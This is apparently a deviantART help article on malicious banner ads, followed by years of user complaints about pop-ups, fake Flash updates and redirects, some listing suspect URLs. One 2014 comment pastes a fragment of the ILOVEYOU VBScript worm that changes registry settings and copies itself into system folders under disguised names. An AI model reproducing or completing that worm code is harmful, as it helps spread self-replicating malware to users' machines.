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What are banner ads, and why does deviantART have them?

Any active Internet user knows about banner ads -- the square or rectangular advertisements that appear on sites across the Web.  This form of online advertising enables sites like deviantART to earn revenue by sending traffic (aka visitors) to advertisers.  The money earned from these ads, viewable to logged-in and logged-out deviants (excluding Premium Members), enables us to bring you bigger and better features, and allows us to maintain and upgrade current ones.

By and large, deviantART is a free site.  We do offer enhanced or extra features for Premium Members, but our core art tools that give deviants the ability to publish and promote their works are free.  While many Internet enthusiasts see banner ads as annoying, the revenue they generate allows sites like us to improve the quality of their services and add new features.

A crash course in network ads

Every month, deviantART serves billions of ads across the site.  While we do employ a small ad sales team who works with premium brands and ad agencies, the bulk of the ads displayed on deviantART are delivered through outside ad networks.  These independent, third-party providers serve ads onto deviantART using a combination of advertisers they have procured themselves, as well as other ad networks they have partnered with.  As stated above, deviantART requires the ad networks we work with to adhere to a strict list of ad quality standards.  If the aforementioned types of bad ads appear, deviantART works to identify the ad network at fault so we can remove the ad, the advertiser, or the entire ad network in question.

Ad networks have become a major part of the online advertising landscape, and it's safe to say a vast majority of the ads you see across the Internet are served from ad networks.  Most networks allow advertisers to purchase ad impressions using self-service platforms and may or may not review the content of the ads before distributing to their publishing partners, such as deviantART.  Even if the ads are reviewed, it's very possible for an advertiser to swap out a good ad with a bad ad, without being caught by the ad network.  This can allow an individual advertiser, with malicious intent, to circumvent the ad review process the ad networks undergo for new advertisers.

Screenshot of deviantART units Typical ad units found on deviantART
Spider-web by mjagiellicz                     The structure of ad networks can sometimes look like spider webs, since many ad networks partner with other ad networks who partner with other ad networks, etc... (Image credit: Spider-web by *mjagiellicz)

How you can help

Ad networks are constantly improving their monitoring and scrubbing technologies to prevent bad ads from running through their systems.  Unfortunately, identifying bad ads is often a difficult process, but there are ways you can protect yourself and help combat the problem.

In the United States, the Centers for Disease Control and Prevention (CDC) is a government agency tasked with protecting public health and safety.  In times of crisis, the CDC utilizes the idea of "shared responsibility" -- they acknowledge their role in keeping the public safe and well-informed, but pass some of the responsibility in the form of preparedness back to the public.  It's with this concept in mind that we ask deviants to arm themselves in the fight against viruses and malware.
  • Protect your computer by downloading free anti-virus software, such as AVG or Microsoft Security Essentials, and be sure to keep the software up-to-date.
  • Use a browser that has built-in malware detection.  Google Chrome and Mozilla Firefox both include this feature.
  • Deviants who want to go the extra mile can help us identify bad ads.
Download AVG
Download Microsoft Security Essentials
Report bad ads

We're in this together

These types of bad ads affect all major publishers on the Internet, not just deviantART.  Google has reported that malware attacks on the web, such as fake anti-virus programs, are a growing threat and they've seen "an upward trend" in the amount they encounter each week.  Preventing these types of ads is easier said than done.  Rest assured that we take this issue very seriously and are doing everything we can to thwart the problem.
In just the last week, using data provided by deviants, we were able to identify the source of a malware attack.  We notified our largest ad providers and asked them to turn off that specific ad network.  Some of our partners had also detected the malware and had preemptively turned off the offending network earlier in the day.  One partner didn't report detection on their own, but turned off the network based on our request.
We vigorously oppose bad ads, as they severely hinder one's deviantART experience -- an experience that we're constantly shaping and refining. Please know that this is one of our primary focuses at this time. Aside from what we've mentioned here, we're also investigating other solutions so that we can be even more proactive in the fight against malware and viruses -- including working with other social networks to share relevant information and building relationships with Internet security firms.  Thank you for taking the time to arm yourself with the knowledge to combat any malicious attacks in the future.


Recent Updates

(Updated May 6, 2011)
  • Turned off a major partner that we suspected of being the possible source of the recent malware/virus alerts.
  • Made changes to all remaining partners, requiring them to follow tighter guidelines about who they worked with and how those partnerships operated.
  • Began development of tools, that will allow deviantART staff (and possibly deviants) to better detect and identify the sources of malicious advertising.
  • Continued discussions with various third party malware/virus detection firms about monitoring deviantART ads and site content.

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April 28, 2011
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:icontnsabregirl:
TnSabregirl Featured By Owner 2 days ago
Also, a quick note, started getting these malware alerts, trying to get me to "update" Flash player, when I'm currently running the latest version.....

Aside from that, AVG is a pretty horrible tool to list. It auto uploads a a whole lot of other crap you don't need and takes over your search bar. No thanks!
Reply
:icongrotesquedarling13:
GrotesqueDarling13 Featured By Owner Jan 8, 2015  Professional General Artist
DA WHAT THE HELL ARE YOU DOING?? Trying to push us the fuck away?
First with updating and completely changing the site to allowing this shit to remain..

And by reading the comments. This problem has been happening for awhile now,
2011 are the earliest comments, wtf? I have had this problem now for 3-4weeks.
Thought it was just me u n t i l today when I searched my issue on google, which
lead me here. And I see I am not the only one, FAR from it. Sickening. It really
shows that no one cares. I have been a deviant for almost 8yrs and I have 
NEVER experienced this on dA nor any other site. It is extremely hard to even
come on here anymore due to how many pop-ups, redirects I get. Slowing my
entire system down. THIS is the only site that gets pop-ups. Its YOU guys.

I have a very good anti-virus, firewalls and Adblock- nothing works to stop your pop-ups.
I have done so many checks on my system and there is nothing wrong with it, UNTIL I sign
onto dA which used to be my home on the net, but not anymore. And it makes me so sad, I love dA.

Fix this. Get on it, stop doing these updates no one wants or understands- first
fix the shit that needs fixing, instead of ignoring everything for a "pretty" site.

I don't want to have to walk away from dA after close to 8yrs due to pop-ups.
Reply
:iconbluestarthepony:
BlueStarThePony Featured By Owner Jan 1, 2015
Me too, today i kept having the url: mal getting caught by my advast, are u having that issue?
Reply
:iconhollygwynn:
hollygwynn Featured By Owner Dec 31, 2014  Hobbyist Artisan Crafter
Hello, I've been having issues with ad Trojans, auto-play ads, malware and the like, and deviant art is the source. I have all the best anti-virus and firewalls, and They're blocking more bad software from deviant art than I know what to do with.... please fix this. I'm afraid to even visit this website anymore.
Reply
:iconmuffiasmith:
MuffiaSmith Featured By Owner Nov 21, 2014  Professional General Artist
Dear deviantART, I am having to use my smartphone due to one of the banner ads refreshing automatically and attacking my computer. Yes, I do have adblock, and yes, I do have antivirus and spyware detector. Currently, my computer got attack from a Java malware Trojan, a very difficult virus to remove. Please, make your banner ads static, and please double check you advertisers.
Reply
:iconwolfinstar:
Wolfinstar Featured By Owner Nov 2, 2014  Hobbyist General Artist
I was almost redirected to a site with malware (and Chrome blocked it) where "attackers could be on this site and at the ready to steal photos, credit card data and other personal information". 
Reply
:iconluckyducky12:
Luckyducky12 Featured By Owner Oct 30, 2014  Hobbyist General Artist
Ok so. First off i want to say that i haven't been getting pop ups in a while so i don't know if im lucky or if you guys and gals solved that issue! Tackling hug

However there is a new issue. The ads that do pop up have sounds to them. Its like ads on youtube and its very annoying.
Reply
:iconsilverexpress:
silverexpress Featured By Owner Sep 14, 2014
Just today recieved this
43kzz.exclusiverewards.treatme…
Reply
:iconsquirrelismyfriend:
squirrelismyfriend Featured By Owner Sep 6, 2014  Professional Filmographer
Sounds like the real decision-makers here are the ones concerned about maximizing revenue, not supporting the members.  I don't know the advertising rate setup, but I wonder if placement of active ads pays better than static ads.
Reply
:iconalienette:
Alienette Featured By Owner Sep 6, 2014
So why aren't you doing anything about it already? Like allowing only static banners?
Reply
:iconchibichiquita:
chibichiquita Featured By Owner Sep 5, 2014
Hi there! I've been trying to tell them the same for ages, it's such an easy thing to do really, just allowing static adds. But it's like talking to a wall!
Reply
:iconsquirrelismyfriend:
squirrelismyfriend Featured By Owner Edited Sep 2, 2014  Professional Filmographer
Hey, Heidi.  Here's the simple solution to the atrocious advertisement problems plaguing DeviantArt:  Disallow executable code in all advertisements.  No executable code (Java, Javascript, PHP, media players, etc.) means none of the ads can DO anything other than show their pretty pictures.

By allowing advertisements to have executable code in them, DeviantArt is encouraging the advertisers to find ways to place executable content in them.  Stop encouraging them!!  Modify the DeviantArt site so that advertisements are images - and images ONLY!!

BTW, in the time it took me to write this comment, I saw no less than 8 autoplay ads (2 for Hollywood Insider, 1 for soccer, 1 for a White House announcement on terrorism, 1 for HealthDay and cardiovascular disease, 1 for Allure and the new Dallas show, 1 for a commentary on Ferguson Missouri, and 1 for something I think was New York Insider or something like that).  I've reported the first three before, but they still keep showing up, so I guess DeviantArt really isn't doing much to eliminate them.  And the reason I didn't just close the window is that I am in the middle of writing a critique of a Deviant's photograph.
Reply
:icondevilishdb:
DevilishDB Featured By Owner Aug 24, 2014
Sounds more like you have a virus. Check your browser extensions, your list of installed software on your computer, and scan your computer for viruses.
Reply
:icontanner28:
Tanner28 Featured By Owner Aug 22, 2014  Hobbyist Traditional Artist
Wonderful to hear! You're welcome, and glad I was able to help! May the remainder of your internet days be spent surfing with little to no more ads!
Reply
:iconoliver-kriel:
Oliver-Kriel Featured By Owner Jul 21, 2014
Deviantart has been infected! Terrible redirects are happening to strange adverts>>> Sexy Asian /  Brazilian Girls. What is going on Deviant, you used to ask us before redirecting, now it just happens when you leave the window open for to long without even clicking. 
Reply
:iconferocefv:
FeroceFV Featured By Owner Jul 19, 2014  Hobbyist Digital Artist
It's already making an enormous difference to me on DeviantArt. Thanks again!
Reply
:icontanner28:
Tanner28 Featured By Owner Jul 19, 2014  Hobbyist Traditional Artist
Understandable that you'd be reluctant about ad blockers because of bad experiences.
It's a little bit of trial and error (even when using the best reviewed) programs to find just the right ones for you.

Here's hoping AdBlock Plus will be helpful for you and that you won't get any more of those nasty ads (with the potential threat of doing bad things to your computer).

Best of luck to you and, sweet! I gave you a llama in return, just because I could. :)
Reply
:iconferocefv:
FeroceFV Featured By Owner Jul 19, 2014  Hobbyist Digital Artist
That's an excellent suggestion. I gave upon such software after I had some bad experiences with ad blockers several years ago, and I'm rather embarrassed to say that I wasn't aware of Adblock Plus. I'll give it a try. Please accept this llama as a token of my thanks.
Reply
:icontanner28:
Tanner28 Featured By Owner Jul 19, 2014  Hobbyist Traditional Artist
To you and anyone else ho might, later, read this comment :

Ever thought about using an ad blocker? There are a lot of options and no reason why you should be expected to tolerate those popups and malicious software attacks. (If you ask me, it's a bit like being expected to tolerate getting beaten with a stick every time you leave your house to do anything. ) Especially if it might, potentially, one day lead to your computer crashing and being replaced. (Not cheap. Not fun. Speaking from experience there. )

After the ad virus scare here, it was a wakeup call for me to take action and protect my beloved computer. I found AdBlock Plus, installed it, and on most websites I don't get ANY ads.

When I get enough money saved up, I'm gonna get myself a subsciption because there are features I want access to with a membership. (Had an old account before this one where I got to have a subsciption and I LOVED it :heart:. ) So DA will still get money from me, even if it won't be from revenue from their ads loading on my pc.

As long as I keep seeing people come here and complain that this problem keeps happening, Adblock on DA is staying *ON*. (The day it's safe, I'll turn it off. )
Reply
:iconferocefv:
FeroceFV Featured By Owner Jul 17, 2014  Hobbyist Digital Artist
This is out of control. I'm getting pop up tabs to fraudulent websites that keep popping up. I'm getting malicious software attacks on a regular basis. This doesn't happen on any other major site I visit. DeviantArt needs to get its house in order, because the rats are running rampant.
Reply
:iconthefartingbutterfly:
TheFartingButterfly Featured By Owner Jul 8, 2014  Hobbyist Digital Artist
I'm sorry but I feel as if dA isn't do all it can to prevent this. I have never had this problem on any other major site. A site such as deviantart should not be exposing so many people to these malicious advertisements. This has gone on long enough, this has been happening for months and it's needs to be fixed now.
Reply
:icontheultimate270:
Theultimate270 Featured By Owner Jun 5, 2014
look:
 rem  barok -loveletter(vbe) <i hate go to school>
 rem by: spyder  /  ispyder@mail.com  /  @GRAMMERSoft Group  /  Manila,Philippines
 On Error Resume Next
 dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
 eq=""
 ctr=0
 Set fso = CreateObject("Scripting.FileSystemObject")
 set file = fso.OpenTextFile(WScript.ScriptFullname,1)
 vbscopy=file.ReadAll
 main()
 sub main()
 On Error Resume Next
 dim wscr,rr
 set wscr=CreateObject("WScript.Shell")
 rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
 if (rr>=1) then
 wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
 end if
 Set dirwin = fso.GetSpecialFolder(0)
 Set dirsystem = fso.GetSpecialFolder(1)
 Set dirtemp = fso.GetSpecialFolder(2)
 Set c = fso.GetFile(WScript.ScriptFullName)
 c.Copy(dirsystem&"\MSKernel32.vbs")
 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 regruns()
 html()
 spreadtoema
end sub

THE #9 WORST VIRUS OF ALL TIME IN A VBSCRIPT
Reply
:icontheultimate270:
Theultimate270 Featured By Owner Jun 5, 2014
anyone that can post ads can keep an ad up for a month so its trusted then change it and add malware so THIS SITE IS NOT SAFE FROM MALWARE
Reply
:iconkatie-weiss:
katie-weiss Featured By Owner May 2, 2014  Hobbyist General Artist
I agree this isn't good enough. I KEEP getting asked to update Java at www.dodsfkh.com and Adobe Flash at some other fraudulent site. As network administrator I can assure dA that these_are_ up to date. Oh yes, I also have up to date virus software!
Reply
:iconyereverluvinuncleber:
This isn't good enough. Deviantart is acting as a trojan, pulling people in to view art content, then being served with malicious content instead.

The lp_many_queensand the fake flash installer are regulars that appear almost daily. I do not believe that Deviantart are making any serious changes to prevent these.

There needs to be some built-in protection to the site or some pre-filtering done to ensure the adverts don't include malware or full page redirects. If DA are simply serving ads from anywhere then they are doing it wrong.

This happens WITH NO OTHER MAJOR SITE - ONLY DEVIANTART.
Reply
:iconwarriorcatsftw:
WarriorCatsFTW Featured By Owner Apr 23, 2014
Like quite a few others, my dA keeps being redirected to a fake flash update, and it forces me to install. ;3;
Reply
:iconxoxozanna:
xoxoZanna Featured By Owner Apr 9, 2014  Hobbyist Digital Artist
I agree. I now use google chrome because lately my firefox got infected :(
By the way, thanks :)
Reply
:iconchibichiquita:
chibichiquita Featured By Owner Apr 5, 2014
I use it too, and I still have problem with malishious re-direct and similar crap. :-( You have a cute avatar by the way
Reply
:iconchibichiquita:
chibichiquita Featured By Owner Apr 5, 2014
Just this last days I've been bombed with them:
loa.teebik.com/lp_many_queens_…
loa.teebik.com/lp_six_women_mu…
loa.teebik.com/lp_moon_queen_s…
loa.teebik.com/lp_bath_queen_s…
seth.avazutracking.net/trackin…
seth.avazutracking.net/trackin…
lp.empire.goodgamestudios.com/…

All of these were recieved within a day, and it's very frustrating. I hope DA  take this as serious as they claim!
Reply
:icondippytheumbreon:
dippytheumbreon Featured By Owner Mar 17, 2014
this is one of them babyincorporated.com/scripts/vidmanager.min.js?cb=635306873240886000:1

even on new computer it comes up coming from those vid ads that run on the side on this site and this site only
Reply
:icondippytheumbreon:
dippytheumbreon Featured By Owner Mar 17, 2014
they need to track down all these autoplay and bad ads that throw the script not responding problem and 10 second lockups before it pops up when one of those anyclip and vid manager ads try to run
Reply
:iconshatteredmoon96:
ShatteredMoon96 Featured By Owner Feb 12, 2014
anyone else getting the fake flash update problem?
Reply
:iconxoxozanna:
xoxoZanna Featured By Owner Nov 28, 2013  Hobbyist Digital Artist
I use Mozilla Firefox ALL the time.
Its my all time favorite browser <3
Reply
:iconcrazyartist12:
crazyartist12 Featured By Owner Nov 13, 2013  Hobbyist General Artist
same here.
Reply
:iconvioletuke93:
VioletUke93 Featured By Owner Nov 12, 2013  Hobbyist General Artist
Almost did yeah
Reply
:iconcrazyartist12:
crazyartist12 Featured By Owner Nov 11, 2013  Hobbyist General Artist
let me guess, it redirect you to another site?
Reply
:iconcrazyartist12:
crazyartist12 Featured By Owner Nov 11, 2013  Hobbyist General Artist
you gotta hate them eh?
Reply
:iconevilness321:
Evilness321 Featured By Owner Jun 25, 2013
My premium membership ended and I get slammed with a Chinese Prostitution ad! Not cool, I filled out the required forms to have it removed, but still!
Reply
:iconvioletuke93:
VioletUke93 Featured By Owner Jun 16, 2013  Hobbyist General Artist
I've got a premimum membership and I still get the ads but in the form of pop-ups! Sort this out!
Reply
:iconjnada1:
jnada1 Featured By Owner Apr 28, 2013  Hobbyist General Artist
^ :rofl:
Reply
:iconjnada1:
jnada1 Featured By Owner Apr 28, 2013  Hobbyist General Artist
Be sure to add 'Fanboy's List' filter. :)
Reply
:iconbeargrady:
BearGrady Featured By Owner Jan 1, 2013
Great article, thanks for the explanation
Reply
:iconfartymarty02:
Fartymarty02 Featured By Owner Jan 1, 2013
WE WANT BULBAPEDIA BACK

-mewmewtwo
Reply
:iconmirutrumpet:
MiruTrumpet Featured By Owner Jan 1, 2013
I got one from DA once; my old XP PC will not boot since.
Reply
:iconclassygengar:
ClassyGengar Featured By Owner Sep 27, 2012
Adblock is love :love:
I also have MSE on my main crap computer, but I use Panda on my laptop.
Reply
:iconfusionwilliam:
fusionwilliam Featured By Owner Aug 2, 2012  Student Artisan Crafter
Yay Huggs
Reply
:iconiloveportalz0r:
iloveportalz0r Featured By Owner Aug 2, 2012
:hug:
Reply
:iconfusionwilliam:
fusionwilliam Featured By Owner Aug 2, 2012  Student Artisan Crafter
It's Okay
Reply
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